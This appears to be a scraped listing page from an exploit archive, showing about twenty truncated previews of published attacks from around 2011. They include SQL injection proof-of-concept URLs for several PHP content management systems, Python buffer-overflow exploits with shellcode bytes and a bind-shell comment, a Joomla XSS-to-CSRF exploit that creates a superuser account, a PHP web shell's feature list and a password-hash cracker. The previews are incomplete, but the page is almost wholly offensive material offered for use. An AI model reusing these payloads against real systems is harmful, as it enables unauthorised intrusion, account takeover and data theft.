Php168 v2008 list.php sql注入漏洞

PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用 在文件member/ list.php中： if!$aidDB //第127行 showerr"请至少选择一篇文章"; …… if$Type=='delete' //第49行 makemorearticlehtml"$FROMURL","del0",$aidDB; makemorearticlehtml函数在inc/articfunction.php文件中： function...

VedCor SQL Injection

IRANIAN THE BEST HACKERS IN THE WORLD Remote SQL injection Vulnerability VedCor producto.php?id AuTh0r : EhsanHp200 H0ME : www.ehsanhp.blogsky.com Email : [email protected] Vendor : http://www.vedcor.es/ Persian Gulf 4 Ever! Exploite: www.victim.com/producto.php?id=SQL Example :...

Contrexx ShopSystem 2.2 SP3 - Blind SQL Injection

Contrexx ShopSystem 2.2 SP3 - Blind SQL Injection Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit Exploit PoC: index.php?section=shop&productId=VALID productid and YOUR BLIND SQL CODE Exploit tested on: Debian 6, Ubuntu Linux 11.04 Exploit found and written by: Penguin Version: =...

MP3 CD Converter Professional 5.3.0 Overflow

!/usr/bin/python +Exploit Title: MP3 CD Converter Professional Universal DEP Bypass Exploit +Date: 11\08\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.mp3-cd-converter.com/mp3cdconverter.exe +Version: 5.3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A from struct import pack from...

EChat-Server-v2.5

EChat Server is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. Successfully exploiting this issue will allow an attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts...

Free-Float-FTP-ACCL

Free Float FTP Server ACCL Command Remote Buffer Overflow Exploit ToDo: Add execute shell ToDo: Test vulnerable targets from socket import import sys, struct, os def sploithost, port: open listener shell on port 4444 sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc +=...

ExtCalendar2 (Auth Bypass/Cookie) SQL Injection

No description provided by source. ? if!$argv1 die" Usage : php exploit.php site Example : php exploit.php http://site.tld/calendar/ "; printr" Exploit....: ExtCalendar2 Auth Bypass/Cookie SQL Injection Author.....: Lagripe-Dz Date.......: 05-o6-2o11 Twitter ...: @LagripeDz HoMe ......:...

FTP-Getter

There was an error when sending a response to the PASV command. Fortunately, these errors lead to buffer overflows. This exploit is unstable. It should only be used as a POC. Tested several times on various systems, the buffer sometimes changed. from socket import import struct import time total ...

Crack OS X 10.7 Hashes

Added: 07/14/2011 Background This tool attempts to crack the passwords retreived by the "Mac OS X Hash grab" exploit tool. Acounts are cracked using dictionaries/Commonpwlong.txt Limitations An existing macosxhashgrab.out file must exist in the /exploits directory. Platforms Mac OS X...

CVE-2011-1829

APT before 0.8.15.2 does not properly validate inline GPG signatures, which allows man-in-the-middle attackers to install modified packages via vectors involving lack of an initial clearsigned message...

ICMusic CMS 1.2 SQL Injection

ICMusic - Music Site Script CMS SQL Injection Vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id Date : 11 July, 2011 Software Information + Vendor : http://icloudcenter.net/ + Download : NOT FREE...

Freefloat FTP Server - 'LIST' Remote Buffer Overflow

!/usr/bin/python from struct import pack import socket,sys import os print " ||=============================================================||" print " || ||" print " || / \ 0-Exploit Zer0 Thunder ||" print " || \ \ ,, / /--------------------------------------------||" print " || '-./.-'...

LuxCal Web Calendar v2.4.2 / v2.5.0 SQL Injection Vulnerability

Exploit for php platform in category web applications LuxCal Web Calendar v2.4.2 / v2.5.0 SQL Injection Vulnerability Author : kaMtiEz email protected Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id Date : 6 July, 2011 Software Information + Vendor ...

Joomla 1.6.3 CSRF Exploit

No description provided by source. This vulnerability takes advantage of the recent Joomla 1.6.3 XSS vulnerability http://seclists.org/fulldisclosure/2011/Jun/519 to execute a CSRF vulnerability to create a superuser account. / joom163.js Joomla 1.6.3 XSS - CSRF Exploit Greetz to Shardy, Xires &...

Joomla 1.6.3 CSRF Exploit

Exploit for php platform in category web applications This vulnerability takes advantage of the recent Joomla 1.6.3 XSS vulnerability http://seclists.org/fulldisclosure/2011/Jun/519 to execute a CSRF vulnerability to create a superuser account.  / joom163.js Joomla 1.6.3 XSS - CSRF Exploit...

Destiny Player 1.6.1.0 Buffer Overflow

print " ||=============================================================||" print " || ||" print " || / \ 0-Exploit Zer0 Thunder ||" print " || \ \ ,, / /--------------------------------------------||" print " || '-./.-' =========================== ||" print " || .--' '--. Destiny Player v1.6.1.0...

PhpFood CMS 2.00 - SQL Injection

PhpFood CMS 2.00 - SQL Injection PhpFood CMS restaurant.php?id= SQL Injection Vulnerability Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id Date : 3 July, 2011 Software Information + Vendor :...

P.A.S. (php web-shell)

P.A.S. v.3.0.x Возможности : - Авторизация по кукам. - Шифрование шелла по вашему паролю сразу при скачивании. - Файловый менеджер : групповое удаление, перемещение, копирование, скачка и загрузка файлов и директорий. переименование и создание файлов и директорий. правка, просмотр, изменении...

Dig Emperor Management Platform security vulnerabilities-vulnerability warning-the black bar safety net

Official website: 1, demo Station background turned out to have a place to upload pictures, does not prohibit the upload. 2, the upload image simple filtration, easy to break, Upload a php file, and can be executed. 3, the servervpsconfiguration severe lower, get a webshell directly after is a...

AIX 530012 : U841179

The remote host is missing AIX PTF U841179 which is related to the security of the package bos.rte.lvm You should install this PTF for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc';...